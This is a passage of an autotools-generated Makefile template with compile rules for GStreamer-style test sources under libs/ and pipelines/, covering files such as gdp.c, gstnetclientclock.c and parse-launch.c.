$(DEPDIR)/controller.Tpo -c -o controller.obj `if test -f 'libs/controller.c'; then $(CYGPATH_W) 'libs/controller.c'; else $(CYGPATH_W) '$(srcdir)/libs/controller.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/controller.Tpo $(DEPDIR)/controller.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/controller.c' object='controller.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o controller.obj `if test -f 'libs/controller.c'; then $(CYGPATH_W) 'libs/controller.c'; else $(CYGPATH_W) '$(srcdir)/libs/controller.c'; fi` libs_gdp-gdp.o: libs/gdp.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(libs_gdp_CFLAGS) $(CFLAGS) -MT libs_gdp-gdp.o -MD -MP -MF $(DEPDIR)/libs_gdp-gdp.Tpo -c -o libs_gdp-gdp.o `test -f 'libs/gdp.c' || echo '$(srcdir)/'`libs/gdp.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/libs_gdp-gdp.Tpo $(DEPDIR)/libs_gdp-gdp.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/gdp.c' object='libs_gdp-gdp.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(libs_gdp_CFLAGS) $(CFLAGS) -c -o libs_gdp-gdp.o `test -f 'libs/gdp.c' || echo '$(srcdir)/'`libs/gdp.c libs_gdp-gdp.obj: libs/gdp.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(libs_gdp_CFLAGS) $(CFLAGS) -MT libs_gdp-gdp.obj -MD -MP -MF $(DEPDIR)/libs_gdp-gdp.Tpo -c -o libs_gdp-gdp.obj `if test -f 'libs/gdp.c'; then $(CYGPATH_W) 'libs/gdp.c'; else $(CYGPATH_W) '$(srcdir)/libs/gdp.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/libs_gdp-gdp.Tpo $(DEPDIR)/libs_gdp-gdp.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/gdp.c' object='libs_gdp-gdp.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(libs_gdp_CFLAGS) $(CFLAGS) -c -o libs_gdp-gdp.obj `if test -f 'libs/gdp.c'; then $(CYGPATH_W) 'libs/gdp.c'; else $(CYGPATH_W) '$(srcdir)/libs/gdp.c'; fi` gstnetclientclock.o: libs/gstnetclientclock.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstnetclientclock.o -MD -MP -MF $(DEPDIR)/gstnetclientclock.Tpo -c -o gstnetclientclock.o `test -f 'libs/gstnetclientclock.c' || echo '$(srcdir)/'`libs/gstnetclientclock.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstnetclientclock.Tpo $(DEPDIR)/gstnetclientclock.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/gstnetclientclock.c' object='gstnetclientclock.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstnetclientclock.o `test -f 'libs/gstnetclientclock.c' || echo '$(srcdir)/'`libs/gstnetclientclock.c gstnetclientclock.obj: libs/gstnetclientclock.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstnetclientclock.obj -MD -MP -MF $(DEPDIR)/gstnetclientclock.Tpo -c -o gstnetclientclock.obj `if test -f 'libs/gstnetclientclock.c'; then $(CYGPATH_W) 'libs/gstnetclientclock.c'; else $(CYGPATH_W) '$(srcdir)/libs/gstnetclientclock.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstnetclientclock.Tpo $(DEPDIR)/gstnetclientclock.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/gstnetclientclock.c' object='gstnetclientclock.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstnetclientclock.obj `if test -f 'libs/gstnetclientclock.c'; then $(CYGPATH_W) 'libs/gstnetclientclock.c'; else $(CYGPATH_W) '$(srcdir)/libs/gstnetclientclock.c'; fi` gstnettimeprovider.o: libs/gstnettimeprovider.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstnettimeprovider.o -MD -MP -MF $(DEPDIR)/gstnettimeprovider.Tpo -c -o gstnettimeprovider.o `test -f 'libs/gstnettimeprovider.c' || echo '$(srcdir)/'`libs/gstnettimeprovider.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstnettimeprovider.Tpo $(DEPDIR)/gstnettimeprovider.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/gstnettimeprovider.c' object='gstnettimeprovider.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstnettimeprovider.o `test -f 'libs/gstnettimeprovider.c' || echo '$(srcdir)/'`libs/gstnettimeprovider.c gstnettimeprovider.obj: libs/gstnettimeprovider.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstnettimeprovider.obj -MD -MP -MF $(DEPDIR)/gstnettimeprovider.Tpo -c -o gstnettimeprovider.obj `if test -f 'libs/gstnettimeprovider.c'; then $(CYGPATH_W) 'libs/gstnettimeprovider.c'; else $(CYGPATH_W) '$(srcdir)/libs/gstnettimeprovider.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstnettimeprovider.Tpo $(DEPDIR)/gstnettimeprovider.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/gstnettimeprovider.c' object='gstnettimeprovider.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstnettimeprovider.obj `if test -f 'libs/gstnettimeprovider.c'; then $(CYGPATH_W) 'libs/gstnettimeprovider.c'; else $(CYGPATH_W) '$(srcdir)/libs/gstnettimeprovider.c'; fi` libsabi.o: libs/libsabi.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT libsabi.o -MD -MP -MF $(DEPDIR)/libsabi.Tpo -c -o libsabi.o `test -f 'libs/libsabi.c' || echo '$(srcdir)/'`libs/libsabi.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/libsabi.Tpo $(DEPDIR)/libsabi.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/libsabi.c' object='libsabi.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o libsabi.o `test -f 'libs/libsabi.c' || echo '$(srcdir)/'`libs/libsabi.c libsabi.obj: libs/libsabi.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT libsabi.obj -MD -MP -MF $(DEPDIR)/libsabi.Tpo -c -o libsabi.obj `if test -f 'libs/libsabi.c'; then $(CYGPATH_W) 'libs/libsabi.c'; else $(CYGPATH_W) '$(srcdir)/libs/libsabi.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/libsabi.Tpo $(DEPDIR)/libsabi.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/libsabi.c' object='libsabi.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o libsabi.obj `if test -f 'libs/libsabi.c'; then $(CYGPATH_W) 'libs/libsabi.c'; else $(CYGPATH_W) '$(srcdir)/libs/libsabi.c'; fi` transform1.o: libs/transform1.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT transform1.o -MD -MP -MF $(DEPDIR)/transform1.Tpo -c -o transform1.o `test -f 'libs/transform1.c' || echo '$(srcdir)/'`libs/transform1.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/transform1.Tpo $(DEPDIR)/transform1.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/transform1.c' object='transform1.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o transform1.o `test -f 'libs/transform1.c' || echo '$(srcdir)/'`libs/transform1.c transform1.obj: libs/transform1.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT transform1.obj -MD -MP -MF $(DEPDIR)/transform1.Tpo -c -o transform1.obj `if test -f 'libs/transform1.c'; then $(CYGPATH_W) 'libs/transform1.c'; else $(CYGPATH_W) '$(srcdir)/libs/transform1.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/transform1.Tpo $(DEPDIR)/transform1.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/transform1.c' object='transform1.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o transform1.obj `if test -f 'libs/transform1.c'; then $(CYGPATH_W) 'libs/transform1.c'; else $(CYGPATH_W) '$(srcdir)/libs/transform1.c'; fi` typefindhelper.o: libs/typefindhelper.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT typefindhelper.o -MD -MP -MF $(DEPDIR)/typefindhelper.Tpo -c -o typefindhelper.o `test -f 'libs/typefindhelper.c' || echo '$(srcdir)/'`libs/typefindhelper.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/typefindhelper.Tpo $(DEPDIR)/typefindhelper.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/typefindhelper.c' object='typefindhelper.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o typefindhelper.o `test -f 'libs/typefindhelper.c' || echo '$(srcdir)/'`libs/typefindhelper.c typefindhelper.obj: libs/typefindhelper.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT typefindhelper.obj -MD -MP -MF $(DEPDIR)/typefindhelper.Tpo -c -o typefindhelper.obj `if test -f 'libs/typefindhelper.c'; then $(CYGPATH_W) 'libs/typefindhelper.c'; else $(CYGPATH_W) '$(srcdir)/libs/typefindhelper.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/typefindhelper.Tpo $(DEPDIR)/typefindhelper.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/typefindhelper.c' object='typefindhelper.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o typefindhelper.obj `if test -f 'libs/typefindhelper.c'; then $(CYGPATH_W) 'libs/typefindhelper.c'; else $(CYGPATH_W) '$(srcdir)/libs/typefindhelper.c'; fi` cleanup.o: pipelines/cleanup.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT cleanup.o -MD -MP -MF $(DEPDIR)/cleanup.Tpo -c -o cleanup.o `test -f 'pipelines/cleanup.c' || echo '$(srcdir)/'`pipelines/cleanup.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/cleanup.Tpo $(DEPDIR)/cleanup.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='pipelines/cleanup.c' object='cleanup.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o cleanup.o `test -f 'pipelines/cleanup.c' || echo '$(srcdir)/'`pipelines/cleanup.c cleanup.obj: pipelines/cleanup.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT cleanup.obj -MD -MP -MF $(DEPDIR)/cleanup.Tpo -c -o cleanup.obj `if test -f 'pipelines/cleanup.c'; then $(CYGPATH_W) 'pipelines/cleanup.c'; else $(CYGPATH_W) '$(srcdir)/pipelines/cleanup.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/cleanup.Tpo $(DEPDIR)/cleanup.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='pipelines/cleanup.c' object='cleanup.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o cleanup.obj `if test -f 'pipelines/cleanup.c'; then $(CYGPATH_W) 'pipelines/cleanup.c'; else $(CYGPATH_W) '$(srcdir)/pipelines/cleanup.c'; fi` parse-disabled.o: pipelines/parse-disabled.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT parse-disabled.o -MD -MP -MF $(DEPDIR)/parse-disabled.Tpo -c -o parse-disabled.o `test -f 'pipelines/parse-disabled.c' || echo '$(srcdir)/'`pipelines/parse-disabled.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/parse-disabled.Tpo $(DEPDIR)/parse-disabled.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='pipelines/parse-disabled.c' object='parse-disabled.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o parse-disabled.o `test -f 'pipelines/parse-disabled.c' || echo '$(srcdir)/'`pipelines/parse-disabled.c parse-disabled.obj: pipelines/parse-disabled.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT parse-disabled.obj -MD -MP -MF $(DEPDIR)/parse-disabled.Tpo -c -o parse-disabled.obj `if test -f 'pipelines/parse-disabled.c'; then $(CYGPATH_W) 'pipelines/parse-disabled.c'; else $(CYGPATH_W) '$(srcdir)/pipelines/parse-disabled.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/parse-disabled.Tpo $(DEPDIR)/parse-disabled.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='pipelines/parse-disabled.c' object='parse-disabled.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o parse-disabled.obj `if test -f 'pipelines/parse-disabled.c'; then $(CYGPATH_W) 'pipelines/parse-disabled.c'; else $(CYGPATH_W) '$(srcdir)/pipelines/parse-disabled.c'; fi` parse-launch.o: pipelines/parse-launch.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT parse-launch.o -MD -MP -MF $(DEPDIR)/parse-launch.Tpo -c -o parse-launch.o `test -f 'pipelines/parse-launch.c' || echo '$(srcdir)/'`pipelines/parse-launch.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/parse-launch.Tpo $(DEPDIR)/parse-launch.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='pipelines/parse-launch.c' object='parse-launch.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o parse-launch.o `test -f 'pipelines/parse-launch.c' || echo '$(srcdir)/'`pipelines/parse-launch.c parse-launch.obj: pipelines/parse-launch.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT parse-launch.obj -MD -MP -MF $(DEPDIR)/parse-launch.Tpo -c -o parse-launch.obj `if test -f 'pipelines/parse-launch.c'; then $(CYGPATH_W) 'pipelines/parse-launch.c'; else $(CYGPATH_W) '$(srcdir)/pipelines/parse-launch.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/parse-launch.Tpo $(DEPDIR)/parse-launch.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='pipelines/parse-launch.c' object='parse-launch.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o parse-launch.obj `if test -f 'pipelines/parse-launch.c'; then $(CYGPATH_W) 'pipelines/parse-launch.c'; else $(CYGPATH_W) '$(srcdir)/pipelines/parse-launch.c'; fi` queue-error.o: pipelines/queue-error.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT queue-error.o -MD -MP -MF $(DEPDIR)/queue-error.Tpo -c -o queue-error.o `test -f 'pipelines/queue-error.c' || echo '$(srcdir)/'`pipelines/queue-error.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/queue-error.Tpo $(DEPDIR)/queue-error.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='pipelines/queue-error.c' object='queue-error.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o queue-error.o `test -f 'pipelines/queue-error.c' || echo '$(srcdir)/'`pipelines/queue-error.c queue-error.obj: pipelines/queue-error.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT queue-error.obj -MD -MP -MF $(DEPDIR)/queue-error.Tpo -c -o queue-error.obj `if test -f 'pipelines/queue-error.c'; then $(CYGPATH_W) 'pipelines/queue-error.c'; else $(CYGPATH_W) '$(srcdir)/pipelines/queue-error.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/queue-error.Tpo $(DEPDIR)/queue-error.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='pipelines/queue-error.c' object='queue-error.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o queue-error.obj `if test -f 'pipelines/queue-error.c'; then $(CYGPATH_W) 'pipelines/queue-error.c'; else $(CYGPATH_W) '$(srcdir)/pipelines/queue-error.c'; fi` simple-launch-lines.o: pipelines/simple-launch-lines.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT simple-launch-lines.o -MD -MP -MF $(DEPDIR)/simple-launch-lines.Tpo -c -o simple-launch-lines.o `test -f 'pipelines/simple-launch-lines.c' || echo '$(srcdir)/'`pipelines/simple-launch-lines.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/simple-launch-lines.Tpo $(DEPDIR)/simple-launch-lines.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='pipelines/simple-launch-lines.c' object='simple-launch-lines.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o simple-launch-lines.o `test -f 'pipelines/simple-launch-lines.c' || echo '$(srcdir)/'`pipelines/simple-launch-lines.c simple-launch-lines.obj: pipelines/simple-launch-lines.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) 